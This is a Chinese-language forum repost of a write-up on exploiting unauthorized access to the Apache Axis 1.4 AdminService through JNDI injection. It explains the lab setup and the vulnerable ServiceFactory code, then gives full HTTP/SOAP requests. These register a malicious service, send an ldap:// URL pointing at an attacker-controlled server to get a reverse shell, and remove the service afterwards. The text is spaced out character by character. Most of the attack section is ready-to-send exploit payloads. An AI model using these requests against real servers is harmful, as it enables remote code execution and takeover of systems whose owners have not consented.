搜索

[28410] 2020-07-14_axis1.4AdminService未授权访问jndi注入利用

文档创建者：s7ckTeam
浏览次数：68
最后更新：2025-01-19
2020-07-14_axis1.4AdminService未授权访问jndi注入利用 a x i s   1 . 4   A d m i n S e r v i c e 未 授 权 访 问 j n d i 注 入 利 用 j 1 a n F e n q a q   O t s 安 全   2 0 2 0 - 0 7 - 1 4 最 近 利 用 一 个 漏 洞 A x i s   1 . 4   a d m i n s e r v i c e 开 启 远 程 访 问 下 可 新 建 服 务 执 行 任 意 方 法 ,   写 文 件 出 现 问 题 可 试 试 本 文 利 用 默 认 包 中 的 j n d i 注 入 恶 意 c l a s s 执 行 反 弹 s h e l l 0 x 0 1   漏 洞 形 成 前 提 漏 洞 形 成 前 提 A d m i n S e r v i c e   e n a b l e R e m o t e A d m i n   = =   T r u e 0 x 0 2   本 地 搭 建 本 地 搭 建 a x i s   b i n 包 解 压 后 将 w e b a p p s 下 a x i s 复 制 到 t o m c a t 环 境 下 的 w e b a p p s 目 录 下 ： h t t p : / / m i r r o r . n a v e r c o r p . c o m / a p a c h e / a x i s / a x i s / j a v a / 1 . 4 / 1 .   更 新 环 境 变 量 更 新 环 境 变 量 执 行 本 地 构 建 命 令 时 需 要 环 境 变 量 找 到 j a r 包 路 径 v i m   ~ / . p r o f i l e e x p o r t   A X I S _ H O M E = / v a r / l i b / t o m c a t 8 / w e b a p p s / a x i s e x p o r t   A X I S _ L I B = $ A X I S _ H O M E / W E B - I N F / l i b e x p o r t   A X I S C L A S S P A T H = $ A X I S _ L I B / a x i s . j a r : $ A X I S _ L I B / c o m m o n s - d i s c o v e r y - 0 . 2 . j a r : $ A X I S _ L I B / c o m m o n s - l o g g i n g - 1 . 0 . 4 . j a r : $ A X I S _ L I B / j a x r p c . j a r : $ A X I S _ L I B / s a a j . j a r : $ A X I S _ L I B / l o g 4 j - 1 . 2 . 8 . j a r : $ A X I S _ L I B / x m l - a p i s . j a r : $ A X I S _ L I B / x e r c e s I m p l . j a r : $ A X I S _ L I B / w s d l 4 j - 1 . 5 . 1 . j a r s o u r c e   ~ / . p r o f i l e 2 . 开 启 开 启 R e m o t e A d m i n 服 务 服 务 w e b a p p s / a x i s / W E B - I N F / d e p l o y . w s d d < d e p l o y m e n t   x m l n s = " h t t p : / / x m l . a p a c h e . o r g / a x i s / w s d d / "         x m l n s : j a v a = " h t t p : / / x m l . a p a c h e . o r g / a x i s / w s d d / p r o v i d e r s / j a v a " >     < s e r v i c e   n a m e = " A d m i n S e r v i c e "   p r o v i d e r = " j a v a : M S G " >         < p a r a m e t e r   n a m e = " c l a s s N a m e "   v a l u e = " o r g . a p a c h e . a x i s . u t i l s . A d m i n " / >         < p a r a m e t e r   n a m e = " a l l o w e d M e t h o d s "   v a l u e = " * " / >         < p a r a m e t e r   n a m e = " e n a b l e R e m o t e A d m i n "   v a l u e = " t r u e " / >     < / s e r v i c e > < / d e p l o y m e n t > 3 . 部 署 刷 新 配 置 部 署 刷 新 配 置 j a v a   - c p   $ A X I S C L A S S P A T H   o r g . a p a c h e . a x i s . c l i e n t . A d m i n C l i e n t   d e p l o y . w s d d
0 x 0 3   源 码 找 到 一 处 源 码 找 到 一 处 j n d i 调 用 调 用 1 . 检 索 所 有 默 认 可 用 的 检 索 所 有 默 认 可 用 的 j a r 包 ： 包 ： 其 中 发 现 o r g . a p a c h e . a x i s . c l i e n t . S e r v i c e F a c t o r y 下 g e t S e r v i c e 服 务 中 进 行 了 c o n t e x t . l o o k u p 操 作 ， 也 就 是 说 我 们 注 册 这 个 方 法 并 调 用 传 递 恶 意 l d a p 服 务 即 可 完 成 攻 击 ：
0 x 0 4   利 用 过 程 利 用 过 程 1 . 注 册 服 务 ： 注 册 服 务 ： P O S T   / a x i s / s e r v i c e s / A d m i n S e r v i c e   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 2 3 . 1 3 6 : 8 0 8 0 C o n n e c t i o n :   c l o s e A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 6 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 4 . 0 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 S O A P A c t i o n :   s o m e t h i n g U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o n t e n t - T y p e :   a p p l i c a t i o n / x m l A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - L e n g t h :   7 3 7 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : a p i = " h t t p : / / 1 2 7 . 0 . 0 . 1 / I n t e g r i c s / E n s w i t c h / A P I "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a " >     < s o a p e n v : B o d y >         < n s 1 : d e p l o y m e n t   x m l n s : n s 1 = " h t t p : / / x m l . a p a c h e . o r g / a x i s / w s d d / "   x m l n s = " h t t p : / / x m l . a p a c h e . o r g / a x i s / w s d d / "   x m l n s : j a v a = " h t t p : / / x m l . a p a c h e . o r g / a x i s / w s d d / p r o v i d e r s / j a v a " >             < n s 1 : s e r v i c e   n a m e = " t e s t 1 S e r v i c e "   p r o v i d e r = " j a v a : R P C " >                 < n s 1 : p a r a m e t e r   n a m e = " c l a s s N a m e "   v a l u e = " o r g . a p a c h e . a x i s . c l i e n t . S e r v i c e F a c t o r y " / >                 < n s 1 : p a r a m e t e r   n a m e = " a l l o w e d M e t h o d s "   v a l u e = " * " / >             < / n s 1 : s e r v i c e >         < / n s 1 : d e p l o y m e n t >     < / s o a p e n v : B o d y > < / s o a p e n v : E n v e l o p e >
2 . 调 用 调 用 j n d i 服 务 ： 服 务 ： 访 问 创 建 的 t e s t 1 S e r v i c e 进 行 j n d i 注 入 ：
P O S T   / a x i s / s e r v i c e s / t e s t 1 S e r v i c e   H T T P / 1 . 1 P r a g m a :   n o - c a c h e C a c h e - C o n t r o l :   n o - c a c h e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 6 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 4 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 R e f e r e r :   h t t p : / / 1 9 2 . 1 6 8 . 1 2 3 . 1 3 6 : 8 0 8 0 / a x i s / s e r v l e t / A x i s S e r v l e t A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h , z h - T W ; q = 0 . 9 , z h - C N ; q = 0 . 8 C o n n e c t i o n :   c l o s e S O A P A c t i o n : C o n t e n t - T y p e :   t e x t / x m l ; c h a r s e t = U T F - 8 H o s t :   1 9 2 . 1 6 8 . 1 2 3 . 1 3 6 : 8 0 8 0 C o n t e n t - L e n g t h :   7 2 0 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s : b u i l = " h t t p : / / b u i l d . a n t l r " >     < s o a p e n v : H e a d e r / >     < s o a p e n v : B o d y >         < b u i l : g e t S e r v i c e   s o a p e n v : e n c o d i n g S t y l e = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n c o d i n g / " >             < e n v i r o n m e n t   x m l n s : a p a c h e s o a p = " h t t p : / / x m l . a p a c h e . o r g / x m l - s o a p "   x m l n s : s o a p e n c = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n c o d i n g / "   x s i : t y p e = " a p a c h e s o a p : M a p " >                 < i t e m >                     < k e y   x s i : t y p e = " s o a p e n c : s t r i n g " > j n d i N a m e < / k e y >                     < v a l u e   x s i : t y p e = " s o a p e n c : s t r i n g " > l d a p : / / [ v p s _ a d r e s s ] : 1 3 8 9 / R e v e r s e 1 < / v a l u e >                 < / i t e m >             < / e n v i r o n m e n t >         < / b u i l : g e t S e r v i c e >     < / s o a p e n v : B o d y > < / s o a p e n v : E n v e l o p e > 3 . m a r s h a l s e c   l d a p   反 弹 反 弹 s h e l l ： ： 4 . 卸 载 服 务 卸 载 服 务 :
P O S T   / a x i s / s e r v i c e s / A d m i n S e r v i c e   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 2 3 . 1 3 6 : 8 0 8 0 C o n n e c t i o n :   c l o s e A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 6 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 4 . 0 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 S O A P A c t i o n :   s o m e t h i n g U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o n t e n t - T y p e :   a p p l i c a t i o n / x m l A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - L e n g t h :   4 6 3 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < s o a p e n v : E n v e l o p e   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "                 x m l n s : a p i = " h t t p : / / 1 2 7 . 0 . 0 . 1 / I n t e g r i c s / E n s w i t c h / A P I "                 x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "                 x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / " >     < s o a p e n v : B o d y > < u n d e p l o y m e n t   x m l n s = " h t t p : / / x m l . a p a c h e . o r g / a x i s / w s d d / " >   < s e r v i c e   n a m e = " t e s t 1 S e r v i c e " / > < / u n d e p l o y m e n t >     < / s o a p e n v : B o d y > < / s o a p e n v : E n v e l o p e > 0 x 0 5   参 考 链 接 参 考 链 接 h t t p s : / / a x i s . a p a c h e . o r g / a x i s / j a v a / i n s t a l l . h t m l 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理